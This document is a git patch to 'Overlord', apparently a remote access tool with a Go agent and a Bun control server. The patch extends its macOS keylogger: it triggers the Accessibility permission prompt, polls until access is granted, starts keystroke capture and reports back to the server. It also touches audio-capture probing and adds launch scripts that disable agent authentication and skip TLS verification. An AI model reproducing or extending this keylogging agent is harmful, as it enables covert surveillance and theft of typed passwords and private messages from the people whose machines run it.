From 4f82a3618a19413d10178a16ed0dfe76ca81dfbc Mon Sep 17 00:00:00 2001 From: test Date: Wed, 3 Jun 2026 22:04:44 -0500 Subject: [PATCH] mac shit --- .../cmd/agent/audio/voice_native_cgo.go | 11 +++ .../cmd/agent/handlers/keylogger.go | 43 +++++++++- .../cmd/agent/keylogger/keylogger_darwin.go | 8 +- Overlord-Server/src/thumbnails.ts | 8 +- start-dev-client.sh | 61 +++++++++++--- start-dev-server.sh | 2 + start-dev.command | 82 +++++++++++++++++++ 7 files changed, 199 insertions(+), 16 deletions(-) create mode 100755 start-dev.command diff --git a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go index c80a8db..077cf7a 100644 --- a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go +++ b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go @@ -7,6 +7,7 @@ import ( "errors" "fmt" "log" + "runtime" "sort" "strings" "sync" @@ -72,6 +73,16 @@ type Session struct { } func ProbeCapabilities() Capabilities { + if runtime.GOOS == "darwin" { + return Capabilities{ + Available: true, + RequiresCGO: true, + Sources: []string{"default", "system"}, + DefaultSource: "default", + Detail: "audio devices are initialized only when a voice or desktop audio session starts", + } + } + ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil) if err != nil { return Capabilities{ diff --git a/Overlord-Client/cmd/agent/handlers/keylogger.go b/Overlord-Client/cmd/agent/handlers/keylogger.go index 2b317c2..90be363 100644 --- a/Overlord-Client/cmd/agent/handlers/keylogger.go +++ b/Overlord-Client/cmd/agent/handlers/keylogger.go @@ -4,14 +4,31 @@ import ( "context" "encoding/base64" "log" + "time" "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/wire" ) +func waitForKeyloggerPermission(env *runtime.Env, timeout time.Duration) bool { + if env.Keylogger == nil { + return false + } + deadline := time.Now().Add(timeout) + for { + if env.Keylogger.HasPermission() { + return true + } + if time.Now().After(deadline) { + return false + } + time.Sleep(350 * time.Millisecond) + } +} + // HandleKeylogRequestPermission handles the keylog_request_permission command. // On macOS it triggers the Accessibility permission prompt and reports back -// whether permission was granted. On other platforms it reports that no +// whether permission was granted. On other platforms it reports that no // permission gate exists and the keylogger is already running (or starts it). func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error { if env.Keylogger == nil { @@ -46,8 +63,32 @@ func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID } // macOS: trigger the OS accessibility prompt and wait for the result. + if env.Keylogger.HasPermission() { + granted := true + if !env.Keylogger.IsRunning() { + if err := env.Keylogger.Start(); err != nil { + log.Printf("[keylogger] start after existing permission check failed: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": false, + "reason": "start_failed: " + err.Error(), + }) + } + } + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_permission_result", + "commandId": cmdID, + "granted": granted, + "reason": "granted", + }) + } + log.Printf("[keylogger] macOS: requesting accessibility permission") granted := env.Keylogger.RequestPermission() + if !granted { + granted = waitForKeyloggerPermission(env, 8*time.Second) + } if granted { // Start the keylogger now that we have permission. diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go index fea9bbe..ded009f 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go @@ -9,10 +9,12 @@ package keylogger #include #include +#import +#import #include // Forward declaration — implemented in Go via CGo export. -extern void goOnKey(const char *chars, int len, int keyCode, int flags); +extern void goOnKey(char *chars, int len, int keyCode, int flags); // ----------------------------------------------------------------------- // Event tap globals @@ -347,7 +349,7 @@ func CheckAccessibilityPermission() bool { } // RequestAccessibilityPermission displays the macOS system prompt asking the -// user to grant Accessibility permission. Returns true if permission is +// user to grant Accessibility permission. Returns true if permission is // currently granted (either already was or just approved). func RequestAccessibilityPermission() bool { return C.requestAccessibility() == 1 @@ -369,7 +371,7 @@ func (k *Keylogger) NeedsPermissionGate() bool { } // RequestPermission triggers the macOS accessibility permission prompt via -// AXIsProcessTrustedWithOptions (CGo path — native build only). +// AXIsProcessTrustedWithOptions (CGo path, native build only). func (k *Keylogger) RequestPermission() bool { granted := RequestAccessibilityPermission() k.mu.Lock() diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index 304eb10..97d2aea 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -117,6 +117,10 @@ async function buildThumbnailBytes(bytes: Uint8Array, format: string): Promise { } return true; } catch (err) { - console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err); + if (typeof Bun.Image === "function") { + console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err); + } return false; } } diff --git a/start-dev-client.sh b/start-dev-client.sh index 427d8a0..7b740e8 100644 --- a/start-dev-client.sh +++ b/start-dev-client.sh @@ -48,7 +48,7 @@ elif [ "$PLATFORM" = "openbsd" ]; then fi fi -if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then +if [ "$PLATFORM" != "mac" ] && [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then echo "[client] found prebuilt client binary: $DIST_DIR/$BIN_NAME" echo "[client] starting prebuilt agent" OVERLORD_SERVER="wss://localhost:5173" \ @@ -59,7 +59,11 @@ if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then exit 0 fi -echo "[client] no suitable prebuilt client binary found in $DIST_DIR; falling back to 'go run'" +if [ "$PLATFORM" = "mac" ]; then + echo "[client] macOS dev mode uses a rebuilt stable binary" +else + echo "[client] no suitable prebuilt client binary found in $DIST_DIR; falling back to 'go run'" +fi cd "$CLIENT_DIR" if ! command -v "$GO_BIN" >/dev/null 2>&1; then @@ -80,13 +84,48 @@ echo "[client] using go at: $(command -v $GO_BIN) ($GO_VER)" echo "[client] go mod tidy..." GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ "$GO_BIN" mod tidy + +if [ "$PLATFORM" = "mac" ] && [ -n "$BIN_NAME" ]; then + mkdir -p "$DIST_DIR" + DEV_BIN="$DIST_DIR/$BIN_NAME" + echo "[client] building stable macOS dev binary at $DEV_BIN" + if [ "${#GO_TAGS[@]}" -gt 0 ]; then + GOINSECURE="*" \ + GOPROXY="https://proxy.golang.org,direct" \ + GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ + "$GO_BIN" build "${GO_TAGS[@]}" -o "$DEV_BIN" ./cmd/agent + else + GOINSECURE="*" \ + GOPROXY="https://proxy.golang.org,direct" \ + GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ + "$GO_BIN" build -o "$DEV_BIN" ./cmd/agent + fi + + echo "[client] starting stable macOS dev binary" + OVERLORD_SERVER="wss://localhost:5173" \ + OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \ + OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \ + OVERLORD_MODE="dev" \ + exec "$DEV_BIN" +fi + echo "[client] starting agent via 'go run'" -OVERLORD_SERVER="wss://localhost:5173" \ -OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \ -OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \ -OVERLORD_MODE="dev" \ -GOINSECURE="*" \ -GOSUMDB="off" \ -GOPROXY="https://proxy.golang.org,direct" \ -GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ -"$GO_BIN" run "${GO_TAGS[@]}" ./cmd/agent +if [ "${#GO_TAGS[@]}" -gt 0 ]; then + OVERLORD_SERVER="wss://localhost:5173" \ + OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \ + OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \ + OVERLORD_MODE="dev" \ + GOINSECURE="*" \ + GOPROXY="https://proxy.golang.org,direct" \ + GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ + "$GO_BIN" run "${GO_TAGS[@]}" ./cmd/agent +else + OVERLORD_SERVER="wss://localhost:5173" \ + OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \ + OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \ + OVERLORD_MODE="dev" \ + GOINSECURE="*" \ + GOPROXY="https://proxy.golang.org,direct" \ + GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \ + "$GO_BIN" run ./cmd/agent +fi diff --git a/start-dev-server.sh b/start-dev-server.sh index 7526355..9933a39 100644 --- a/start-dev-server.sh +++ b/start-dev-server.sh @@ -22,6 +22,8 @@ fi echo "[server] using bun at: $(command -v $BUN_BIN)" echo "[server] bun install..." "$BUN_BIN" install +echo "[server] building Tailwind CSS..." +"$BUN_BIN" run build:css echo "[server] building vendor assets..." "$BUN_BIN" run vendor echo "[server] starting bun dev (foreground)" diff --git a/start-dev.command b/start-dev.command new file mode 100755 index 0000000..ce5f9a8 --- /dev/null +++ b/start-dev.command @@ -0,0 +1,82 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT="$(cd -- "$(dirname "$0")" && pwd)" +SERVER_SCRIPT="$ROOT/start-dev-server.sh" +CLIENT_SCRIPT="$ROOT/start-dev-client.sh" + +quote() { + printf "%q" "$1" +} + +pause_for_error() { + local exit_code=$? + if [ "$exit_code" -ne 0 ]; then + echo + echo "[start-dev] failed with exit code $exit_code" + echo "Press any key to close this window." + read -r -n 1 _ || true + fi + exit "$exit_code" +} +trap pause_for_error EXIT + +if [ "$(uname -s)" != "Darwin" ]; then + echo "[start-dev] start-dev.command is intended for macOS." + echo "[start-dev] Use ./start-dev.sh on this platform." + exit 1 +fi + +if ! command -v osascript >/dev/null 2>&1; then + echo "[start-dev] osascript was not found. Use ./start-dev.sh from a terminal instead." + exit 1 +fi + +if [ ! -f "$SERVER_SCRIPT" ]; then + echo "[start-dev] missing $SERVER_SCRIPT" >&2 + exit 1 +fi + +if [ ! -f "$CLIENT_SCRIPT" ]; then + echo "[start-dev] missing $CLIENT_SCRIPT" >&2 + exit 1 +fi + +ROOT_Q="$(quote "$ROOT")" +SERVER_SCRIPT_Q="$(quote "$SERVER_SCRIPT")" +CLIENT_SCRIPT_Q="$(quote "$CLIENT_SCRIPT")" +NO_PRINTING_Q="$(quote "${NO_PRINTING:-false}")" + +SERVER_CMD="cd $ROOT_Q && HOST=0.0.0.0 PORT=5173 OVERLORD_DISABLE_AGENT_AUTH=true OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only LOG_LEVEL=debug NODE_ENV=development /bin/bash $SERVER_SCRIPT_Q" +CLIENT_CMD="sleep 3; cd $ROOT_Q && NO_PRINTING=$NO_PRINTING_Q /bin/bash $CLIENT_SCRIPT_Q" + +open_terminal() { + local title="$1" + local command="$2" + + osascript - "$title" "$command" <<'APPLESCRIPT' +on run argv + set windowTitle to item 1 of argv + set shellCommand to item 2 of argv + + tell application "Terminal" + activate + do script shellCommand + delay 0.2 + set custom title of selected tab of front window to windowTitle + end tell +end run +APPLESCRIPT +} + +echo "=== Launching Overlord dev terminals ===" +echo "[start-dev] root: $ROOT" +echo "[start-dev] opening server window..." +open_terminal "Overlord-Server" "$SERVER_CMD" + +echo "[start-dev] opening client window..." +open_terminal "Overlord-Client" "$CLIENT_CMD" + +echo +echo "Done. Server and client logs are running in separate Terminal windows." +echo "Close those Terminal windows or press Ctrl+C inside them to stop dev processes."